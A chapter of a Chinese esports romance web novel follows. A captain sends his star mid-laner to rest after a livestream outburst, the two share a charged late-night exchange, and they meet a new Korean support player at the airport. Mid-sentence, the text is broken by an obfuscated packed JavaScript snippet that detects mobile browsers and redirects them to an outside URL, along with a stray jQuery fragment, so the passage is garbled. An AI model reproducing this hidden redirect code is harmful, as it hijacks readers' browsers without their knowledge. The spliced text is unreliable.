22.一直在撒娇

作品:《禁止冷脸卖萌![电竞]

    直播画面变黑,训练室只剩下电脑风扇运转的微弱声响。


    “卧槽,凌曜,你……” 沈一飞第一个蹦起来,脸上又是震惊又是担忧,他想说“骂得好”,又想问“你没事吧”,话到嘴边却卡住了,只能手足无措地看着凌曜的侧影。


    程烁也收起了平日里的戏谑,想开口说点什么缓和气氛。


    就在这时,一直沉默的路远洲动了。


    他抬起手,对着沈一飞和程烁做了个“噤声”手势。


    训练室再次安静下来。


    路远洲这才转过身,目光落在凌曜身上,伸手虚虚地笼罩在凌曜握着鼠标的那只手上,然后将那细白的手指从鼠标上一根根轻轻掰开。


    “结束了,你需要休息,现在。”


    他有些强硬地帮凌曜关掉了电脑主机。屏幕彻底暗下,凌曜一直紧绷的肩膀微微塌陷下去一点,浓密的睫毛垂着,遮住了眼底翻涌的情绪。


    凌曜没有反抗,任由路远洲半揽着他的肩膀。


    路远洲将人从椅子上带了起来,像拎一只炸毛后脱力的小猫后颈一样,把人带离了训练室。


    沈一飞和程烁面面相觑,最终还是没跟上去。沈一飞挠了挠头嘀咕:


    “路队他……”


    程烁看着两人离开的背影,目光在路远洲护着凌曜的那只手上停留片刻,心想你真是天胡开局被偷家,本来想提醒他两句,最终只是化为一句轻叹:


    “这你都能输。”


    沈一飞还以为他在说刚刚的rank:“不就一把排位,让他赢不挺好的?”


    程烁:“…唉。”


    凌曜被路远洲几乎是“押送”回房,推进了卧室。


    “洗澡睡觉。”路远洲言简意赅地关上了门。


    温热的水流冲刷下来,脑子里却思绪纷飞。


    凌曜睡不着。


    心里的那团火不仅没灭,反而越烧越旺。


    他轻轻推门走出房间,站到了路远洲的房门外。


    犹豫只在一瞬,他抬手,敲响了门板。


    门很快被打开。路远洲似乎也没睡,穿着宽松的居家服,他看到门外的凌曜,明显愣了一下。


    眼前的凌曜,只穿了简单的白色T恤和宽松睡裤,头发湿漉漉地搭在额前,水珠顺着优越的脖颈线条滑落,没入衣领。因为热水的缘故,冷白的皮肤透出淡淡的粉色,从脸颊一直蔓延到耳垂,那双总是清冷的眼睛此刻蒙着一层水汽,亮得惊人。


    沐浴后的热气混着干净的香味扑面而来。路远洲的目光掠过他泛红的耳尖,喉结微动。


    “很抱歉直播时说那些话...”凌曜仰起脸,眼巴巴望着他,“会不会给俱乐部惹麻烦?”


    言下之意,还是在为揭幕战紧张吧。


    所有准备好的说教瞬间蒸发。路远洲听见自己说:


    “我保证会赢。”


    路远洲的目光不受控制地掠过他湿润的锁骨,那上面还带着银箔般亮晶晶的水痕,随着他的呼吸晃人眼球。


    视线再往上,是那双泛着诱人绯色的耳垂,像初绽的樱花瓣,在冷白的肤色对比下,格外扎眼。


    喉结不受控制地滚动了一下。


    “我跟你保证。”他看着凌曜的眼睛,一字一句。


    凌曜紧抿的唇线忽然松动,真切的笑容毫无预兆地绽开——唇边两颗小小的虎牙也随之露了出来,带着点稚气的甜,与他平日里冷淡的模样形成鲜明对比。


    湿发还贴在额角,他却卸下了所有重担,笑得毫无阴霾。


    路远洲呼吸一窒。


    他闭了闭眼,强压下想把眼前这人揉进怀里的冲动,抬手,用指腹擦过他眼角的一抹湿发:


    “现在,回去,把头发吹干,睡觉,明天跟我去机场接辅助。”


    凌曜“嗯”了一声,转身带着一身还未散去的水汽回了自己的房间。


    路远洲站在门口,直到隔壁传来轻微的关门声,才关上门,背靠着门板,抬手按了按自己跳得有些失序的心脏。


    脑海里,全是那双湿润的眼睛,泛红的耳垂,和那句带着钩子的“抱歉”。


    真是……要命。


    第二天下午,机场国际到达厅。


    凌曜站在接机口,感觉脖子上的衬衫领子存在感极强。


    他鲜少这样打扮,为了给新队友留下好印象,他翻出了哥哥准备的穿搭——驼色羊羔毛外套蓬松柔软,内搭焦糖色V领毛衣和白衬衫,黑色领带规整系着。


    这身装扮让他看起来像个乖巧学生。


    当韩序随着人流走出来时,凌曜一眼就注意到了他。


    论坛送他的外号“在逃砂仁饭”简直贴切得可怕——他看起来不像来打比赛的,像刚完成任务的冷漠雇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755431|188958||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    佣兵,或者在地下挖了三年矿、早已忘记如何与活人交流的矿工。


    男人身形高大,银灰色的短发非常醒目,还带着一枚银闪闪的耳钉,脸色很差。


    韩序想也不想就知道,自己的脸色好看不到哪儿去。


    连续长途飞行的不适和紧绷的行程让他眉头都舒展不了,周身散发着生人勿近的低气压。


    凌曜心里那根弦绷紧了——果然看起来很不好惹。


    路远洲上前,用韩语与韩序简单交谈了几句。韩序的回应很简短,目光掠过路远洲,在凌曜身上停留了一瞬。


    路远洲要去停车场把车开过来,对凌曜交代了一句:


    “在这里等我一下。”


    唯一中间人去开车,留下凌曜和这座“冰山”独处。


    凌曜能感觉到对方身上散发出的“别惹我”信号。


    他犹豫着,还是从包里拿出水:


    “Sil-lae-ham-ni-da...Water? For you.”


    韩序正被时差和胃部的空烧感折磨得耐心告罄,不耐地抬眼——却对上了一双清澈见底的眼睛。


    眼前的少年穿着柔软得像云朵的外套,五官精致得如同橱窗里标价最高的BJD娃娃,与他预想中犀利中单的形象天差地别。


    韩语说得轻且慢,语音标准,但因为调子拖长音节之间有些黏腻,像撒娇一样。


    韩序盯着那瓶水,又看看凌曜那双干净得不容亵渎的眼睛,拒绝的话在舌尖转了一圈,最终咽了回去。


    他沉默地伸出手,接过水瓶,指尖短暂擦过凌曜微凉的皮肤。


    他低声道了句谢。


    路远洲开车过来时,看到韩序手里握着水,而凌曜虽然表情还是冷的,但眼神亮晶晶,偷偷松了口气的样子,心下明了。


    他把两人安置在一起,就是有盲目的自信——凌曜就是这么好,没有人会不喜欢他。


    车窗外城市的风景向后飞驰,凌曜安静地托起下巴看着,侧脸线条柔软。


    一旁的韩序拧开瓶盖,喝了一口冰凉的水,干涩的喉咙得到滋润,他侧目看了一眼身边那个穿着毛茸茸外套、已经放空望着窗外的少年,指尖无意识地摩挲着冰冷的瓶身。


    凌曜不知道,这位辅助一直想问最后也没好意思开口的话是——


    这水怎么是甜的?